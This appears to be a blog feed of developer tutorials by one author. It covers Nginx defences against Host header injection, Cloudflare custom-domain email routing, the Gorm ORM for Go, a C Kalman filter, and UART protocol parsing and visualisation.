Back-End Does Not Depend on Host Header: Even if Nginx does the verification, the back-end should use the fixed domain name in the configuration file when generating URLs, instead of $_SERVER[‘HTTP_HOST’] or $host.
Default Server Block Rejects Access: Ensure that the default_server block of Nginx does not return any sensitive content. It is recommended to configure it as: server {listen 80 default_server; return 444;} (444 means closing the connection without response).
Record Illegal Request Logs: Record logs for intercepted illegal requests to facilitate subsequent analysis of attack sources: if ($host_flag = 0) {access_log /var/log/nginx/host_attack.log;return 403;}
Regularly Audit Configuration: When the domain name is changed or added, update the Host whitelist of Nginx in time to avoid normal requests being blocked.

Summary

HTTP Host header attack (Host Header Injection) is subtle but has extremely low defense cost. Through simple configuration at the Nginx layer, most attack attempts can be effectively blocked. It is recommended to use Scheme 1 (Single Domain Name Flag Bit) or Scheme 2 (Multi-Domain Exact Match) first, which takes into account both security and maintainability. Remember: The core of web security is “not trusting any client input”. Only by starting from the details can a truly solid defense system be built.

Cloudflare Custom Domain Email Tutorial: 3 Steps to Build a Professional Brand Email (with DNS Setup)

Tiger Smith — Mon, 03 Nov 2025 09:42:14 +0000

Zero-cost Cloudflare Custom Domain Email Tutorial: Build professional brand emails like contact@yourdomain.com in 3 steps. Includes DNS setup guide, takes 10 mins for beginners, boosts trust for indie sites, blogs & SaaS products.

Source of the article:Cloudflare Custom Domain Email Tutorial: 3 Steps to Build a Professional Brand Email (with DNS Setup)

When running an independent website, personal blog, or SaaS product, are you still using personal email accounts like Gmail or Outlook for external communication? This actually hurts your brand professionalism significantly—imagine the trust gap when a customer receives a business email from xxx@live.com versus one from contact@yourdomain.com.

Today, I’ll share a zero-cost method to set up a custom domain email using Cloudflare. It takes less than 10 minutes total, and even beginners can follow along.

1. Prerequisites: What You’ll Need

There’s only one core requirement: a domain name already hosted on Cloudflare. If your domain isn’t transferred yet, simply add it on the Cloudflare official website and follow the prompts to complete DNS resolution migration (there are plenty of tutorials online, and it’s not difficult to operate, so I won’t go into detail here).

The image above shows my domain list in Cloudflare, where devresourcehub.com is the domain of this site.

2. Step-by-Step Guide: Set Up Custom Email in 3 Steps

My domain is devresourcehub.com (which is also the address of my blog). Next, I’ll use this domain as an example to set up a custom email like contact@devresourcehub.com step by step.

Step 1: Access the Domain’s Email Routing Page

After logging into Cloudflare, find the domain you want to set up in the domain list on the homepage (such as my devresourcehub.com) and click to enter the domain management backend. Locate “Email” – “Email Routing” in the left sidebar menu and click to enter the function page.

Step 2: Create a Custom Email Address

On the Email Routing page, click “Get Started” and fill in the relevant information in the subsequent form:

Custom Address: Enter the email prefix. For example, if I want a dedicated contact email for the website, I’ll enter “contact”, and the final email will be contact@devresourcehub.com. For other types of emails, you can use common prefixes like your “name” or “support”.
Action: Select “Send to email” (beginners can start with the basic forwarding function; advanced features like setting rules can be explored later).
Destination: Enter your personal email (such as Microsoft Outlook or Gmail). All future emails sent to the custom email will be forwarded here.

Step 3: Complete Email Verification and DNS Configuration

After clicking “Save”, Cloudflare will send a verification email to the destination email you entered. Open the email and click the verification link to confirm that the email can receive messages normally.

After verification, the system will prompt you to configure DNS records—don’t worry, Cloudflare has already generated the required records for you. Just click “Add records and enable” to complete the configuration automatically; no manual modification of DNS parameters is needed.

Since my destination email is the same as my Cloudflare account email, no verification was required, and it was set up directly.

3. Final Step: Test if the Email Works

After configuration, be sure to test it with another email (such as a friend’s email or another personal email): send an email to the custom domain email you just created (e.g., zhangsihai@indiecoder.me) and then check if the destination personal email receives it.

If it’s received normally, the entire process is successful. If not, first check if the DNS configuration has taken effect (there may be a 1-5 minute delay), then confirm the spam folder of the destination email.

After testing, I found that forwarding works successfully, as shown in the image above.

If you still can’t find the email even after checking the spam folder, you can check the logs in Cloudflare. For example, when I used a Microsoft email, the Microsoft email server added the IP of the forwarding email server to the blacklist, causing forwarding failure. The solution is either to contact the customer service of the destination email server or switch to another destination email.

Tips: If you want your custom email to send emails directly (not just receive and forward), you can pair it with Cloudflare’s SendGrid or other SMTP services. However, for most personal bloggers and small website owners, simple receiving and forwarding is sufficient.

In this way, you’ll have a professional brand email tied to your domain. Whether it’s for external communication, user feedback, or business cooperation, it can enhance your brand image and trust. The entire process is completely free and easy to operate—if you haven’t set it up yet, give it a try!

A Deep Dive into Gorm: Architecture, Workflow, Tips, and Troubleshooting for Go’

Tiger Smith — Sun, 02 Nov 2025 11:15:11 +0000

This article details the internal architecture and SQL execution workflow of Gorm, the popular ORM framework for Go. It shares practical techniques for model definition, querying, and updating, while solving common issues like time zone discrepancies, soft deletion, and transactions. It is tailored for advanced Gorm developers.

Source of the article:Dev Resource Hub

As the most widely used ORM (Object-Relational Mapping) framework in the Go ecosystem, Gorm significantly simplifies database operations. However, most developers only utilize its basic features and have limited knowledge of its internal logic and advanced techniques. Starting from Gorm’s core principles, this article combines real-world development scenarios to outline its SQL execution workflow, practical functions, and common pitfalls, helping you move from “knowing how to use it” to “mastering it”.

1. Gorm Core Concepts & Architecture

To use Gorm proficiently, you first need to understand its design logic. At its heart, Gorm is a “SQL codification tool” that converts developer method calls into SQL statements and interacts with the database.

1.1 What is ORM?

ORM (Object-Relational Mapping) serves as a bridge between code and databases, with three core functions:

Mapping database tables to Go structs
Mapping table columns to struct fields
Converting struct operations to SQL statements

Its advantages are clear:

No need to write raw SQL
Reduces error rates
Supports multiple databases (MySQL, PostgreSQL, etc.)

However, it also has limitations:

Auto-generated SQL may not be optimal
Requires learning framework-specific rules

1.2 Gorm Code Architecture

Gorm uses several core objects to 实现 “method-to-SQL conversion”. Understanding these objects is key to grasping its overall logic:

Object	Core Role	Key Attributes / Functions
DB	Database connection instance	Manages connections, stores configuration
Config	Stores user settings	Controls plural table names, DryRun mode, prepared statements, etc.
Statement	Maps SQL statements	Stores WHERE conditions, SELECT fields, table names, etc.
Schema	Maps database table structures	Associates structs with table names and field mappings
Field	Maps table column details	Stores column names, data types, primary key/non-null status, etc.

Gorm’s methods fall into two categories, and the method chain follows a process of “assembling SQL → executing SQL”:

Process methods: Only assemble SQL (no execution), e.g., Where (add conditions), Select (specify fields), Model (bind a struct).
Terminator methods: Execute SQL after assembly and parse results, e.g., Find (query), Create (insert), Update (update), Delete (delete).

1.3 Relationship Between trpc-go/gorm and Native Gorm

If your project uses the trpc-go framework, you may encounter the trpc-go/trpc-database/gorm package. It is not a reimplementation of Gorm but a wrapper for native Gorm, with three core advantages:

Simplifies database connection configuration, eliminating repetitive initialization code.
Integrates Gorm into trpc-go services, supporting unified framework configuration.
Provides Polaris dynamic service discovery for flexible database switching.

2. How Does a SQL Statement Execute in Gorm?

Let’s take a common Gorm query code snippet and break down its execution process to understand the full workflow from “method call” to “database response”:

var user User
db := db.Model(user).Select("age", "name").Where("age = ?", 18).Or("name = ?", "tencent").Find(&user)
if err := db.Error; err != nil {log.Printf("Find failed, err: %v", err)
}

2.1 Full Execution Workflow

Preparations

Call gorm.Open() to create a DB object based on the database type (e.g., MySQL) and DSN, then initialize the connection.

SQL Assembly (Process Methods)

Model(user): Informs Gorm to operate on the table associated with user and updates the table name in Statement.
Select("age", "name"): Adds the fields to be queried to Statement.Selects.
Where(...) and Or(...): Parses conditions, generates WHERE age = 18 OR name = 'tencent', and stores it in Statement.Clauses.

SQL Execution (Terminator Method `Find`)

Checks Statement and completes the SQL statement (e.g., SELECT age, name FROM users WHERE ...).
Calls the database driver’s QueryContext to send the SQL to the database.
Receives the database response, parses the results, and populates them into &user.
Stores error information, affected row counts, etc., in the DB object and returns it to the developer.

2.2 Key Code Snippets

Taking Select and Where as examples, here’s how Gorm assembles SQL:

// Select method: Adds fields to Statement.Selects
func (db *DB) Select(query interface{}, args ...interface{}) (tx *DB) {tx = db.getInstance()
  // Parses incoming fields (e.g., "age" or []string{"age", "name"})
  switch v := query.(type) {
  case string:
    tx.Statement.Selects = append(tx.Statement.Selects, v)
  case []string:
    tx.Statement.Selects = append(tx.Statement.Selects, v...)
  }
  return tx
}

// Where method: Adds conditions to Statement.Clauses
func (db *DB) Where(query interface{}, args ...interface{}) (tx *DB) {tx = db.getInstance()
  // Parses conditions and generates Clause objects
  if conds := tx.Statement.BuildCondition(query, args...); len(conds) > 0 {tx.Statement.AddClause(clause.Where{Exprs: conds})
  }
  return tx
}

3. Gorm Practical Tips: Filling Knowledge Gaps

Many practical Gorm features are easily overlooked in daily development. Mastering these can significantly improve efficiency.

3.1 Model Definition Tips

Models are the foundation of Gorm’s database interactions. Pay attention to these details:

Controlling Table Name Plurality

Gorm defaults to converting struct names to plural table names (e.g., User → users). To disable this, configure it during initialization:

db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{
  NamingStrategy: schema.NamingStrategy{SingularTable: true, // Disable plural table names},
})

Embedding Base Models

Gorm provides a gorm.Model struct that includes ID, CreatedAt, UpdatedAt, and DeletedAt. Embed it in your custom struct to avoid redefining these common fields:

type User struct {
  gorm.Model // Embeds the base model, automatically adding 4 common fields
  Name string
  Age  int
}

Note: Embedding DeletedAt automatically enables soft deletion (deletion only updates DeletedAt instead of physically removing data).

Struct Embedding (Embed)

For structs with many fields, split related fields into sub-structs. Use the embedded tag to associate them, and embeddedPrefix to add field prefixes:

// Sub-struct
type Author struct {
  Name  string `gorm:"column:name"`
  Email string `gorm:"column:email"`
}

// Main struct (with embed association)
type Blog struct {
  ID      int    `gorm:"column:id"`
  Author  Author `gorm:"embedded;embeddedPrefix:author_"` // Fields become author_name, author_email
  Upvotes int32  `gorm:"column:upvotes"`
}

3.2 Query Optimization Tips

Queries are high-frequency operations. Choosing the right method reduces performance overhead:

`First`/`Take`/`Last` vs. `Find`

First/Take/Last: Return ErrRecordNotFound if no data is found and automatically add LIMIT 1. Suitable for “single-record queries” (e.g., query by primary key).
Find: Does not return an error if no data is found and queries all matching records. Suitable for “multi-record queries” or “primary key/unique key equality queries” (avoids extra error checks).

Simplifying Query Conditions

For simple conditions, skip Where and write conditions directly in Find for cleaner code:

// Equivalent to: db.Where("status = ? and update_time < ?", 1, time.Now()).Find(&user)
db.Find(&user, "status = ? and update_time < ?", 1, time.Now())

Using `Pluck` for Single-Field Queries

When only one column of data is needed, Pluck is more intuitive than Select + Find:

var ages []int64
// Equivalent to: db.Model(&User{}).Select("age").Find(&ages)
db.Model(&User{}).Pluck("age", &ages)

3.3 Update Pitfalls to Avoid

The most common pitfall in updates is “zero values not being updated”. Remember these two solutions:

Using `map` to Update Zero Values

Gorm does not update zero values in structs (e.g., false for bool types) by default. Use map[string]interface{} to force updates:

// Incorrect: Active: false is a zero value and will not be updated
db.Model(&user).Updates(User{ID: 111, Name: "hello", Active: false})

// Correct: Use map to force update all fields
db.Model(&user).Updates(map[string]interface{}{"id": 111, "name": "hello", "active": false})

Using `Select` to Specify Update Fields

If you must use a struct, explicitly specify fields to update via Select:

db.Model(&user).Select("name", "active").Updates(User{ID: 111, Name: "hello", Active: false})

3.4 Safe Testing: The `DryRun` Feature

If you don’t have a test environment and fear dirty data from SQL errors, enable DryRun mode. Gorm will print SQL without executing it, allowing pre-verification:

db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{DryRun: true, // Enable dry-run mode})
// Only prints SQL, no actual data deletion
db.Where("age < ?", 18).Delete(&User{})

4. Solutions to Common Gorm Issues

Most exceptions encountered in development stem from insufficient understanding of Gorm details. Remember these high-frequency issues:

4.1 8-Hour Time Zone Discrepancy? Add `loc=Local` to DSN

Issue: time.Now() in code returns the current time, but the time stored in the database is 8 hours behind.Cause: Gorm uses UTC time by default, while time.Now() returns Beijing time (UTC+8), leading to an 8-hour difference.Solution: Add loc=Local to the DSN when initializing the DB object to make Gorm use the system time zone:

// DSN format (key: add loc=Local at the end)
dsn := "root:password@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&parseTime=True&loc=Local"

4.2 How to Implement Soft Deletion? Embed `DeletedAt`

Issue: Want to “mark data as deleted without physically removing it”.Solution: Embed gorm.DeletedAt (or directly embed gorm.Model) in the struct. Gorm will handle it automatically:

On deletion: Executes UPDATE users SET deleted_at = current_time WHERE ... (no physical deletion).
On query: Automatically adds WHERE deleted_at IS NULL (excludes deleted data).

To query deleted data, use Unscoped():

// Query all data, including deleted records
db.Unscoped().Find(&users)

4.3 Transactions Are Not “Batched SQL Execution”—They Rely on Native Database Support

Issue: Assuming Gorm transactions “store SQL first and send it all on commit”, but results are returned immediately after Select. Why?Truth: Gorm transactions depend on native database support, with real-time interaction at each step:

tx := db.Begin(): Sends START TRANSACTION to the database.
tx.Find(&user): Sends SELECT ... to the database and returns results in real time.
tx.Commit(): Sends COMMIT to the database to confirm the transaction.
If an error occurs, tx.Rollback(): Sends ROLLBACK to undo the transaction.

4.4 Bulk Creation & Primary Key Conflict Handling

Bulk Creation

Use CreateInBatches and specify a batch size (to avoid overly long SQL statements):

var users []User
// Assume users contains 100 records
db.CreateInBatches(users, 50) // Insert in 2 batches of 50 records each

Primary Key / Unique Key Conflict Handling

Use clause.OnConflict to specify a conflict strategy. Gorm will generate an ON DUPLICATE KEY UPDATE statement (logic implemented by the database):

// Update all fields on conflict
db.Clauses(clause.OnConflict{UpdateAll: true}).CreateInBatches(&users, 50)

Conclusion

Gorm’s core is “encapsulating SQL logic into Go methods”. Understanding core objects like DB and Statement allows you to master its execution workflow. Practical techniques (e.g., embed, Pluck, DryRun) and pitfall avoidance (time zone discrepancies, zero-value updates) require practice in real-world scenarios.

Kalman Filter Algorithm: Core Principles, Advantages, Applications, and C Code Implementation

Tiger Smith — Sat, 01 Nov 2025 07:42:23 +0000

This article provides a comprehensive breakdown of the Kalman Filter algorithm, covering everything from its core concepts to practical applications, and serves as a complete reference for both engineering development and theoretical learning. It first clarifies the recursive nature of the Kalman Filter—centered on the “fusion of prediction and observation”—then analyzes its key advantages in detail, such as efficient real-time processing, optimal estimation under Gaussian assumptions, and multi-source information fusion. At the same time, it highlights limitations including dependence on linearity and Gaussianity, sensitivity to model parameters, and increased computational complexity in high-dimensional spaces. This helps readers accurately assess the scenarios where the algorithm is best suited.

Source of the article:Dev Resource Hub

The Kalman Filter algorithm revolves around a core concept: fusing predictive estimates with real-world observations. Using a recursive framework, it computes optimal state estimates even when dealing with system uncertainty.

1. Advantages and Limitations of the Kalman Filter

Advantages

Efficient Recursion: It operates with low computational overhead, requiring only the current-time estimate and measurement data—no need to store large volumes of historical information. This makes it ideal for real-time processing tasks.
Optimal Estimation: When the system is linear and noise follows a Gaussian distribution, the Kalman Filter delivers statistically optimal results, specifically minimum variance estimates.
Robust Noise Handling: It effectively mitigates random noise in both system dynamics (e.g., unmodeled disturbances) and sensor measurements (e.g., sensor drift).
Native Multi-Sensor Fusion: It is inherently designed for integrating data from multiple sensors, leveraging the strengths of each (e.g., high precision from one, high update rate from another) to produce more reliable estimates.

Limitations

Linear and Gaussian Assumptions: The standard Kalman Filter relies on two key assumptions: the system’s dynamic and observation models must be linear, and both process noise (system uncertainty) and observation noise (sensor uncertainty) must be Gaussian white noise. In practice, many real-world systems exhibit non-linear behavior, which violates this constraint.
Model Sensitivity: Filter performance is heavily dependent on the accuracy of the system model (defined by matrices F and H) and noise statistics (covariance matrices Q and R). Poorly tuned parameters can lead to biased estimates or even filter divergence (where estimates grow increasingly inaccurate over time).
Dimensionality Scaling Issues: For high-dimensional state spaces, the computational cost of matrix operations (e.g., multiplication, inversion) increases significantly, potentially limiting its use in resource-constrained systems.

2. Application Areas of the Kalman Filter

Thanks to its low computational footprint, the Kalman Filter is widely adopted in scenarios where real-time performance is critical.

Application Field	Specific Use Cases	Role of the Kalman Filter
Target Tracking	Radar-based tracking, video surveillance, vehicle/pedestrian tracking in autonomous driving	Predicts the target’s next position, fuses multi-sensor data (e.g., radar and camera feeds), smooths erratic trajectories, and refines estimates of position, velocity, and acceleration.
Motor Control & Filtering	Servo motor feedback control, robotic joint actuation, UAV rotor speed regulation (e.g., STM32-based motor speed sensing)	Filters noise from encoder feedback signals to improve motor speed and position estimates; integrates data from current sensors to enable precise state monitoring and closed-loop control.
Navigation & Positioning	UAV navigation, autonomous vehicle localization, mobile robot guidance, smartphone GPS/IMU fusion	Serves as the backbone for multi-sensor fusion. For example, it combines GPS data (which provides absolute position but has slow update rates and noise) with IMU (Inertial Measurement Unit) data (high update rates but suffers from error accumulation over time) to deliver continuous, high-precision position, velocity, and attitude estimates.
Signal Processing & Economic Forecasting	Removing noise from time-series signals (e.g., sensor readings), stock price forecasting, macroeconomic indicator analysis	Extracts underlying trends from noisy time-series data; uses historical patterns to generate short-term predictions for financial or economic variables.
Aerospace	Satellite orbit determination, missile guidance systems, aircraft attitude control	Computes precise estimates of aircraft/satellite position, velocity, and orientation—critical for maintaining stable navigation and control in dynamic aerospace environments.

3. Kalman Filter Example Demonstration

The Kalman Filter’s combination of low computational cost, clear performance benefits, and no need for historical data storage makes it well-suited for real-time signal processing. The figure below compares the raw motor speed data (blue curve) with the Kalman-filtered speed data (orange curve) from a typical motor operation test. The filtered curve clearly reduces noise while preserving the underlying speed trend.

4. Kalman Filter Principles: 5 Core Equations

The Kalman Filter operates in two repeating phases—prediction and update—governed by five key equations:

State Prediction Equation

Error Covariance Prediction Equation

Kalman Gain Calculation

State Update Equation

Error Covariance Update Equation

Below is a complete C language implementation based on these equations:

float Kalman_Filter(Kalman* p, float dat)
{if (!p) return 0; // Guard clause: return 0 if the Kalman structure pointer is null

    // Prediction phase: Estimate current state based on previous state
    p->X = p->A * p->X_last;                  // Predict current state (prior estimate)
    p->P = p->A * p->P_last + p->Q;            // Predict error covariance of the prior estimate

    // Update phase: Correct prior estimate with new measurement data
    p->kg = p->P / (p->P + p->R);              // Calculate Kalman gain (weighting factor)
    p->X_now = p->X + p->kg * (dat - p->X);    // Update state to get posterior estimate
    p->P_now = (1 - p->kg) * p->P;             // Update error covariance of the posterior estimate

    // Prepare for next iteration: Pass current posterior estimates to next time step
    p->P_last = p->P_now;
    p->X_last = p->X_now;

    return p->X_now; // Return the final filtered state estimate
}

Explanation of Variables in the `Kalman` Structure

A: State transition matrix (or scalar coefficient in 1D cases) that defines how the system state evolves over time.
Q: Process noise covariance matrix (or scalar) that quantifies uncertainty in the system model (e.g., unmodeled friction in a motor).
R: Observation noise covariance matrix (or scalar) that quantifies uncertainty in sensor measurements (e.g., noise in an encoder reading).
X_last: Posterior state estimate from the previous time step (denoted as k-1|k-1), representing the optimal estimate after incorporating the last measurement.
P_last: Error covariance matrix from the previous time step (k-1|k-1), quantifying uncertainty in X_last.
X: Prior state prediction for the current time step (k|k-1), estimated using only the system model (no measurement data yet).
P: Error covariance of the prior prediction (k|k-1), quantifying uncertainty in X.
kg: Kalman gain (scalar in 1D cases) that balances the trust between the prior prediction (X) and the new measurement (dat).
X_now: Posterior state estimate for the current time step (k|k), the final filtered output after incorporating the new measurement.
P_now: Error covariance of the posterior estimate (k|k), quantifying uncertainty in X_now.

5. Step-by-Step Interpretation: Kalman Filter Logic vs. C Code

(1) Prediction Phase

The prediction phase uses the system model to estimate the current state and its uncertainty, without any measurement data.

p->X = p->A * p->X_last;This line computes the prior state prediction. It extrapolates the previous optimal estimate (X_last) forward in time using the state transition model (A). For example, if A = 1 (a stationary system like a constant motor speed), this simplifies to X = X_last—the predicted speed equals the previous optimal speed. Note: This code omits the control input term (BU(k)) for simplicity (common in 1D systems with no external control).
p->P = p->A * p->P_last + p->Q;This line computes the prior error covariance. The term A * P_last propagates the uncertainty from the previous step forward in time. The process noise Q is added to account for new uncertainty introduced by the system model (e.g., sudden changes in load on a motor). In 1D cases, the transpose of A (Aᵀ) is equal to A (since it’s a scalar), so the full matrix equation (A * P_last * Aᵀ + Q) simplifies to the code above.

(2) Update Phase

The update phase incorporates the new measurement to correct the prior prediction, producing a more accurate posterior estimate.

p->kg = p->P / (p->P + p->R);This line calculates the Kalman gain, the filter’s “trust balance” between prediction and measurement:
- If R is large (unreliable sensor), the denominator grows, making kg small. The filter trusts the prior prediction (X) more.
- If P is large (unreliable model), the numerator grows, making kg close to 1. The filter trusts the new measurement (dat) more.In 1D systems, the observation matrix H (which maps states to measurements) is typically 1, so the full gain equation (P * Hᵀ * (HPHᵀ + R)⁻¹) simplifies to the scalar division here.
p->X_now = p->X + p->kg * (dat - p->X);This line computes the posterior state estimate—the core of the Kalman Filter. The term (dat - p->X) is the measurement residual (or “innovation”), representing the difference between what the sensor measured (dat) and what the model predicted (X). The Kalman gain kg weights this residual: a large kg means the residual has a big impact on the final estimate (trust the measurement), while a small kg means the residual has little impact (trust the prediction).
p->P_now = (1 - p->kg) * p->P;This line updates the error covariance to reflect the reduced uncertainty after incorporating the measurement. Since we now have more information (the new measurement), P_now will always be smaller than P—the term (1 - p->kg) ensures this reduction. In 1D cases, the identity matrix I (used in the full matrix equation: (I – kg*H)*P) is 1, so the code simplifies to the scalar form above.

(3) Preparing for the Next Iteration

p->P_last = p->P_now;
p->X_last = p->X_now;These lines “pass forward” the current posterior estimates (X_now and P_now) to become the “previous” estimates (X_last and P_last) for the next time step. This recursive handoff is what allows the filter to run continuously, updating estimates as new measurements arrive.

6. Key Takeaways and Tuning Tips

A 1D Kalman Filter uses the prediction-update cycle to recursively fuse model-based predictions with sensor measurements, delivering optimal state estimates in uncertain environments.

The performance of the filter hinges on tuning two critical parameters:

Process Noise Covariance (Q) : Think of Q as your “trust in the system model.” If your model is imprecise (e.g., a motor with variable friction), increase Q—this makes the filter rely more on sensor measurements to correct errors. If your model is highly accurate, decrease Q—the filter will trust the model’s predictions more.
Observation Noise Covariance (R) : Think of R as your “trust in the sensor.” If the sensor is noisy (e.g., an old encoder with erratic readings), increase R—the filter will downweight the measurement and trust the model more. If the sensor is precise (e.g., a high-quality laser encoder), decrease R—the filter will prioritize the measurement.

Tuning Q and R is rarely a one-time task. Typically, you’ll adjust these parameters through iterative testing: start with small values, monitor filter performance (e.g., how well the filtered curve tracks the true state), and refine until the filter balances noise reduction and responsiveness.

UART Serial Communication Guide: Principles, Parsing & Visualization

Tiger Smith — Fri, 31 Oct 2025 11:52:35 +0000

A complete guide to UART serial communication: Learn underlying principles, protocol parsing with state machines, ECharts visualization, and fix garble/loss. Ideal for embedded & IoT engineers.

Source of the article:UART Serial Communication Guide: Principles, Parsing & Visualization

As one of the most fundamental communication methods in embedded systems and the Internet of Things (IoT), serial communication (UART) is a core technology that every hardware/software engineer must master. It serves not only as a “window” for device debugging but also as a “link” for data exchange between sensors, microcontrollers, and industrial equipment. This article will start with the underlying principles of serial communication, explain protocol parsing logic and data processing methods in detail, and demonstrate how to efficiently implement visual analysis of serial data using practical tools—helping you truly grasp the key essentials of serial communication technology.

I. The Underlying Logic of Serial Communication: Why Can Data Be Transmitted with Just Three Wires?

Many engineers use serial communication regularly, yet they may not fully understand its underlying communication logic. At its core, serial communication is asynchronous serial communication, which enables bidirectional data transmission via two data lines (TX for transmission, RX for reception) and a GND line for reference voltage. Unlike SPI or I2C, it does not require a clock line for synchronization; instead, it relies on “pre-agreed timing” to ensure accurate data reception.

1.1 Core Parameters of Serial Communication: The “Language Rules” Determining Data Transmission

To establish stable serial communication, both parties must first align on “language rules”—specifically, the following 5 core parameters:

Baud Rate: The number of binary bits transmitted per unit time. Common values include 9600, 115200, and 38400 bps. For example, 9600 bps means 9600 bits are transmitted per second (including start bits, data bits, parity bits, and stop bits); the actual effective data rate excludes control bits.
Data Bits: The number of valid data bits in each data frame, typically 8 bits (corresponding to one byte) or 7 bits (compatible with ASCII encoding).
Stop Bits: A flag indicating the end of a data frame, configurable as 1, 1.5, or 2 bits. It gives the receiver time to prepare for the next frame.
Parity Bit: Used to check for transmission errors. Options include odd parity (the total number of 1s in data bits + parity bit is odd), even parity (the total number of 1s is even), and no parity (the most common choice, relying on upper-layer protocols for error tolerance).
Flow Control: An optional parameter to prevent data overflow (e.g., RTS/CTS hardware flow control, XON/XOFF software flow control). It is unnecessary in most simple scenarios (e.g., sensor data transmission).

Key Principle: The transmitter encapsulates data into frames (start bit + data bits + parity bit + stop bit) based on the parameters. The receiver parses the frame structure using the same parameters—mismatched parameters will result in garbled data (e.g., “####” or random characters when baud rates differ).

1.2 Serial Data Frame Structure: How a Frame Is “Split” and “Identified”

Serial communication transmits data in “frames.” The standard frame structure (using 8 data bits, 1 stop bit, and no parity as an example) is as follows:

Start Bit (1 bit) : A low level (logic 0) that signals the start of a frame, breaking the previous high-level idle state.
Data Bits (8 bits) : Transmitted from the least significant bit (LSB) to the most significant bit (MSB). For example, to send the byte 0x5A (binary 01011010), the actual transmission order is 0→1→0→1→1→0→1→0.
Stop Bit (1 bit) : A high level (logic 1) that marks the end of a frame. Configurable as 1, 1.5, or 2 bits, it ensures the receiver has sufficient time to prepare for the next frame.

Example: To send the character “A” (ASCII code 0x41, binary 01000001), the complete data frame is:

Start bit (0) → Data bits (1→0→0→0→0→0→1→0) → Stop bit (1)

The receiver triggers data reception by detecting the “low-level start bit,” then samples subsequent bits synchronously based on the baud rate, and finally reconstructs the complete byte.

II. Serial Protocol Parsing: How to Extract Valid Data from a “Binary Stream”?

In practical projects, serial communication rarely transmits single bytes—it typically sends “data packets” encapsulated in custom protocols (e.g., sensor data, device control commands). Parsing byte-by-byte directly leads to data confusion, so mastering core protocol parsing methods is essential.

2.1 Common Custom Serial Protocol Formats

Most projects adopt a protocol structure of “Header + Length + Data + Checksum” to ensure data integrity and identifiability. A typical format is shown below:

Field	Length (Bytes)	Function Description	Example Value
Start of Frame (SOF)	1–2	Identifies the start of a packet to avoid misrecognition	0xAA (1 byte), 0x55AA (2 bytes)
Data Length	1–2	Indicates the number of bytes in the subsequent “data segment”	0x04 (4-byte data segment)
Data Segment	Variable	Valid data (e.g., sensor values, commands)	0x00 0x1E 0x00 0x3C (25°C, 60% humidity)
Checksum	1–2	Verifies packet integrity	XOR checksum, CRC16
End of Frame (EOF)	1–2 (Optional)	Marks the end of a packet	0xBB

Why This Structure?

Suppose a sensor sends temperature and humidity data once per second. Without a header/trailer, the receiver might misidentify “residual data from the previous frame” or “interference noise” as valid data. By using a fixed header (e.g., 0xAA), the receiver first filters out non-header data, extracts the complete data segment based on “data length,” and finally verifies data correctness via the checksum.

2.2 Core Logic of Protocol Parsing: Implementation with a State Machine

The optimal way to parse custom serial protocols is to use a state machine, which processes each field of the data frame through different states to avoid data sticking or loss. Taking the protocol “0xAA (header) + 1-byte length + N-byte data + 1-byte XOR checksum” as an example, the state machine design is as follows:

Step 1: Define Parsing States

// Example in C; logic applies to other languages
typedef enum {STATE_WAIT_SOF = 0,  // Wait for header (0xAA)
    STATE_GET_LEN,       // Receive data length
    STATE_GET_DATA,      // Receive data segment
    STATE_GET_CRC,       // Receive checksum
    STATE_CHECK_CRC      // Verify and process data
} ParseState;

Step 2: Process Each Byte of Data by State

ParseState state = STATE_WAIT_SOF;
uint8_t data_buf[64] = {0};  // Data buffer
uint8_t data_len = 0;        // Length of data segment
uint8_t data_idx = 0;        // Index for data segment reception
uint8_t crc_calc = 0;        // Calculated checksum value

void parse_serial_data(uint8_t byte) {switch(state) {
        case STATE_WAIT_SOF:
            if (byte == 0xAA) {  // Header detected
                state = STATE_GET_LEN;
                crc_calc = byte;  // Initialize checksum with header
            }
            break;

        case STATE_GET_LEN:
            data_len = byte;
            crc_calc ^= byte;  // Accumulate checksum
            if (data_len > 0 && data_len <= 60) {  // Limit length to prevent buffer overflow
                state = STATE_GET_DATA;
                data_idx = 0;
            } else {state = STATE_WAIT_SOF;  // Reset on invalid length}
            break;

        case STATE_GET_DATA:
            data_buf[data_idx++] = byte;
            crc_calc ^= byte;
            if (data_idx == data_len) {  // Data segment reception complete
                state = STATE_GET_CRC;
            }
            break;

        case STATE_GET_CRC:
            if (byte == crc_calc) {  // Checksum verified
                state = STATE_CHECK_CRC;
            } else {state = STATE_WAIT_SOF;  // Reset on checksum failure}
            break;

        case STATE_CHECK_CRC:
            // Process data after verification (e.g., extract temperature and humidity)
            uint16_t temp = (data_buf[0] << 8) | data_buf[1];  // Temperature (16-bit)
            uint16_t humi = (data_buf[2] << 8) | data_buf[3];  // Humidity (16-bit)
            printf("Temperature: %.1f°C, Humidity: %.1f%%\n", temp/10.0, humi/10.0);

            // Reset state to wait for next frame after processing
            state = STATE_WAIT_SOF;
            break;
    }
}

Key Considerations:

Limit data length to prevent buffer overflow from malicious data.
The checksum must include the header, length, and data segment to ensure the integrity of the entire frame.
If data reception is incomplete for an extended period (e.g., timeout), reset the state machine to avoid system halts.

III. Serial Data Processing and Visualization: From “Byte Stream” to “Intuitive Charts”

After extracting valid data, how can you quickly analyze data trends (e.g., sensor data changes over time)? The traditional method—exporting data to Excel and plotting manually—is highly inefficient. Tools enable “real-time parsing + visualization” integration, significantly improving debugging efficiency.

3.1 Core Requirements for Data Visualization: Real-Time Performance and Flexibility

Serial data visualization must meet two core scenarios:

Real-Time Monitoring: For example, when debugging environmental monitoring devices, you need to view real-time curves of temperature, humidity, or air pressure.
Historical Review: For example, when testing device stability, you need to record data over hours to analyze abnormal fluctuations.

The key to fulfilling these requirements is “linkage between data parsing and chart rendering”—after the parsing module extracts valid data, it transmits it to the chart module in real time, which updates the view based on the timeline.

3.2 Visualization Implementation with JavaScript: From Parsing to Plotting

First, we introduce an online serial tool (https://serial.devresourcehub.com) that supports online serial connection, data transmission/reception, and a powerful plugin system for chart plotting using JavaScript (with the built-in ECharts library for enhanced functionality).

Step 1: Serial Connection and Data Reception (Based on Web Serial API)

let port;
let reader;
let chart;  // Chart instance

// Connect to serial port
async function connectSerial() {port = await navigator.serial.requestPort();
    await port.open({baudRate: 9600});  // Match device baud rate

    // Receive serial data (read byte by byte)
    reader = port.readable.getReader();
    const decoder = new TextDecoder('utf-8');  // Use Uint8Array for binary data
    while (true) {const { value, done} = await reader.read();
        if (done) break;
        const rawData = decoder.decode(value);  // Raw data (e.g., "AA 04 00 1E 00 3C 58")
